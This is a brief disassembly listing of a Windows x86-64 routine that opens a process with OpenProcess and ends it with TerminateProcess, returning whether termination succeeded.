call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14001630e
jmp 0x140016322
mov rsi, qword [rax + 8]
mov rcx, rdi
call fcn.14009cb90
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
setne dil
mov eax, edi
add rsp, 0x28
pop rdi
pop rsi
ret